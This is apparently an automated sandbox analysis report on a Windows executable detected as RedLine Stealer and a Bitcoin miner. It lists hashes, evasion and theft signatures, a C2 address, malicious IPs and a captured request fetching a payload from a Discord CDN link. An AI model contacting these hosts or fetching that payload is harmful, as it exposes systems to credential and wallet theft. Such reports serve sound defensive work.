Windows Analysis Report YfTokH7RIj

Overview

General Information

Sample Name: YfTokH7RIj (renamed file extension from none to exe)
Analysis ID: 545999
MD5: 1b8bf38e83c31c76c7dd00088ac0922d
SHA1: 1bc87682b1518b398ee7eacc4c8e4370b18d359e
SHA256: 25cd127b9d559d6754269ecc116d35be66aca027640bcd71a836567c32b946c5
Tags: 32exetrojan
Infos:

Most interesting Screenshot:

Detection

BitCoin Miner RedLine
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Yara detected RedLine Stealer
Detected unpacking (overwrites its own PE header)
Detected unpacking (changes PE section rights)
Antivirus detection for dropped file
Yara detected BitCoin Miner
Found malware configuration
Multi AV Scanner detection for submitted file
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for dropped file
Query firmware table information (likely to detect VMs)
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Machine Learning detection for sample
Performs DNS queries to domains with low reputation
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Adds a directory exclusion to Windows Defender
Found many strings related to Crypto-Wallets (likely being stolen)
Drops executables to the windows directory (C:\Windows) and starts them
Uses schtasks.exe or at.exe to add and modify task schedules
Tries to harvest and steal browser information (history, passwords, etc)
Detected VMProtect packer
Tries to steal Crypto Currency Wallets
Sigma detected: Powershell Defender Exclusion
PE file has nameless sections
Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)
Machine Learning detection for dropped file
Contains functionality to query locales information (e.g. system language)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
May sleep (evasive loops) to hinder dynamic analysis
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Uses code obfuscation techniques (call, push, ret)
Detected potential crypto function
Sample execution stops while process was sleeping (likely an evasion)
JA3 SSL client fingerprint seen in connection with other malware
Contains functionality to dynamically determine API calls
HTTP GET or POST without a user agent
Contains long sleeps (>= 3 min)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Drops PE files
Drops PE files to the windows directory (C:\Windows)
Binary contains a suspicious time stamp
Creates a process in suspended mode (likely to inject code)
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
Creates files inside the system directory
PE file contains sections with non-standard names
Internet Provider seen in connection with other malware
Yara detected Credential Stealer
Contains functionality to call native functions
Contains functionality to communicate with device drivers
IP address seen in connection with other malware
Contains functionality for execution timing, often used to detect debuggers
Enables debug privileges
Creates a DirectInput object (often for capturing keystrokes)
Is looking for software installed on the system
AV process strings found (often used to terminate AV products)
PE file does not import any functions
Sample file is different than original file name gathered from version info
PE file contains an invalid checksum
Detected TCP or UDP traffic on non-standard ports
Contains capabilities to detect virtual machines
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Classification

AV Detection:

barindex
Antivirus detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\fl.exe Avira: detection malicious, Label: HEUR/AGEN.1143703
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe Avira: detection malicious, Label: HEUR/AGEN.1143065
Source: C:\Windows\System32\services32.exe Avira: detection malicious, Label: HEUR/AGEN.1143703
Found malware configuration
Source: 00000000.00000003.648277065.00000000035E0000.00000004.00000001.sdmp Malware Configuration Extractor: RedLine {"C2 url": "yabynennet.xyz:81", "Bot Id": "@zhilsholi"}
Multi AV Scanner detection for submitted file
Source: YfTokH7RIj.exe Virustotal: Detection: 40% Perma Link
Source: YfTokH7RIj.exe ReversingLabs: Detection: 48%
Multi AV Scanner detection for domain / URL
Source: yabynennet.xyz Virustotal: Detection: 6% Perma Link
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\fl.exe Virustotal: Detection: 59% Perma Link
Source: C:\Users\user\AppData\Local\Temp\fl.exe Metadefender: Detection: 26% Perma Link
Source: C:\Users\user\AppData\Local\Temp\fl.exe ReversingLabs: Detection: 71%
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe Metadefender: Detection: 31% Perma Link
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe ReversingLabs: Detection: 75%
Source: C:\Windows\System32\services32.exe Metadefender: Detection: 26% Perma Link
Source: C:\Windows\System32\services32.exe ReversingLabs: Detection: 71%
Machine Learning detection for sample
Source: YfTokH7RIj.exe Joe Sandbox ML: detected
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\fl.exe Joe Sandbox ML: detected
Source: C:\Windows\System32\services32.exe Joe Sandbox ML: detected

Bitcoin Miner:

barindex
Yara detected BitCoin Miner
Source: Yara match File source: 0000000F.00000002.829079660.0000000003E1A000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000013.00000002.815233218.0000000003E6A000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000003.868890764.0000000003DD6000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000002.913279029.0000000003711000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: services32.exe PID: 5948, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: services32.exe PID: 6972, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: sihost32.exe PID: 6688, type: MEMORYSTR

Compliance:

barindex
Detected unpacking (overwrites its own PE header)
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Unpacked PE file: 0.2.YfTokH7RIj.exe.400000.0.unpack
Uses 32bit PE files
Source: YfTokH7RIj.exe Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE
Source: unknown HTTPS traffic detected: 162.159.129.233:443 -> 192.168.2.4:49783 version: TLS 1.2
Source: Binary string: Z:\Development\SecureEngine\src\plugins_manager\internal_plugins\embedded dlls\TlsHelperXBundler\Release\XBundlerTlsHelper.pdb source: YfTokH7RIj.exe, 00000000.00000003.646920762.00000000035E0000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.716588388.0000000000428000.00000040.00020000.sdmp
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Code function: 0_2_00D575E8 FindFirstFileA, 0_2_00D575E8
Source: C:\Users\user\Desktop\YfTokH7RIj.exe Code function: 0_2_00D576C4 FindFirstFileA,GetLastError, 0_2_00D576C4

Networking:

barindex
Performs DNS queries to domains with low reputation
Source: C:\Users\user\Desktop\YfTokH7RIj.exe DNS query: yabynennet.xyz
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /attachments/917178535238586432/922560115226312704/StopScam.vmp.exe HTTP/1.1Host: cdn.discordapp.comConnection: Keep-Alive
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: HSAE HSAE
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 185.82.202.246 185.82.202.246
Source: Joe Sandbox View IP Address: 162.159.129.233 162.159.129.233
Source: Joe Sandbox View IP Address: 162.159.129.233 162.159.129.233
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.4:49781 -> 185.82.202.246:81
Source: YfTokH7RIj.exe, 00000000.00000002.727140736.00000000039A5000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp String found in binary or memory: http://appldnld.apple.com/QuickTime/041-3089.20111026.Sxpr4/QuickTimeInstaller.exe
Source: YfTokH7RIj.exe, 00000000.00000002.726992491.00000000038BB000.00000004.00000001.sdmp String found in binary or memory: http://cdn.discordapp.com
Source: YfTokH7RIj.exe, 00000000.00000003.701024550.0000000000C15000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.722189877.0000000000C25000.00000004.00000020.sdmp String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#HexBinary
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509SubjectKeyIdentif
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ1510
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#Kerberosv5APREQSHA1
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-rel-token-profile-1.0.pdf#license
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV1.1
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV2.0
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKey
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKeySHA1
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#ThumbprintSHA1
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-wssecurity-secext-1.1.xsd
Source: YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp String found in binary or memory: http://download.divx.com/player/divxdotcom/DivXWebPlayerInstaller.exe
Source: YfTokH7RIj.exe, 00000000.00000002.727140736.00000000039A5000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp String found in binary or memory: http://forms.rea
Source: YfTokH7RIj.exe, 00000000.00000002.727140736.00000000039A5000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp String found in binary or memory: http://forms.real.com/real/realone/download.html?type=rpsp_us
Source: YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp String found in binary or memory: http://fpdownload.macromedia.com/get/shockwave/default/english/win95nt/latest/Shockwave_Installer_Sl
Source: services32.exe, 0000000F.00000003.793020538.0000000001396000.00000004.00000001.sdmp String found in binary or memory: http://go.mic
Source: YfTokH7RIj.exe, 00000000.00000002.727140736.00000000039A5000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp String found in binary or memory: http://go.micros
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/tlsnego#TLS_Wrap
Source: YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/soap/actor/next
Source: YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2002/12/policy
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/sc
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/sct
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Issue
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Nonce
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/Issue
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/Issue
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCT
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/SymmetricKey
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/PublicKey
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/06/addressingex
Source: YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing
Source: YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/faultD
Source: YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Commit
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Committed
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Completion
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Durable2PC
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepare
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepared
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/ReadOnly
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Replay
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Rollback
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Volatile2PC
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/fault
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContext
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/RegisterResponse
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/fault
Source: YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm
Source: YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested
Source: YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequence
Source: YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequenceResponse
Source: YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/LastMessage
Source: YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/SequenceAcknowledgement
Source: YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/dk
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/sct
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/CK/PSHA1
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Cancel
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Issue
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Nonce
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Cancel
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Renew
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Renew
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/SymmetricKey
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/spnego
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego
Source: YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp, fl.exe, 00000007.00000002.768280433.0000000004209000.00000004.00000001.sdmp, fl.exe, 00000007.00000002.765463943.0000000003E02000.00000004.00000001.sdmp, services32.exe, 0000000F.00000002.828985486.0000000003DA9000.00000004.00000001.sdmp, services32.exe, 00000013.00000002.815721507.0000000004059000.00000004.00000001.sdmp, services32.exe, 00000013.00000002.813300578.0000000003C52000.00000004.00000001.sdmp, sihost32.exe, 0000001D.00000002.913279029.0000000003711000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/right/possessproperty
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2006/02/addressingidentity
Source: YfTokH7RIj.exe, 00000000.00000002.727140736.00000000039A5000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp String found in binary or memory: http://service.r
Source: YfTokH7RIj.exe, 00000000.00000002.727140736.00000000039A5000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp String found in binary or memory: http://service.real.com/realplayer/security/02062012_player/en/
Source: YfTokH7RIj.exe, 00000000.00000002.727140736.00000000039A5000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp String found in binary or memory: http://support.a
Source: YfTokH7RIj.exe, 00000000.00000002.727140736.00000000039A5000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727392644.0000000003A52000.00000004.00000001.sdmp String found in binary or memory: http://support.apple.com/kb/HT203092
Source: YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp String found in binary or memory: http://tempuri.org/
Source: YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp String found in binary or memory: http://tempuri.org/Entity/Id1
Source: YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp String found in binary or memory: http://tempuri.org/Entity/Id10
Source: YfTokH7RIj.exe, 00000000.00000002.726992491.00000000038BB000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp String found in binary or memory: http://tempuri.org/Entity/Id10Response
Source: YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp String found in binary or memory: http://tempuri.org/Entity/Id11
Source: YfTokH7RIj.exe, 00000000.00000002.726992491.00000000038BB000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.727665976.0000000003B14000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726821817.0000000003870000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp String found in binary or memory: http://tempuri.org/Entity/Id11Response
Source: YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp String found in binary or memory: http://tempuri.org/Entity/Id12
Source: YfTokH7RIj.exe, 00000000.00000002.726992491.00000000038BB000.00000004.00000001.sdmp, YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp String found in binary or memory: http://tempuri.org/Entity/Id12Response
Source: YfTokH7RIj.exe, 00000000.00000002.726659756.00000000037E1000.00000004.00000001.sdmp String found in binary or memory: http://tempuri.org/Entity/Id13
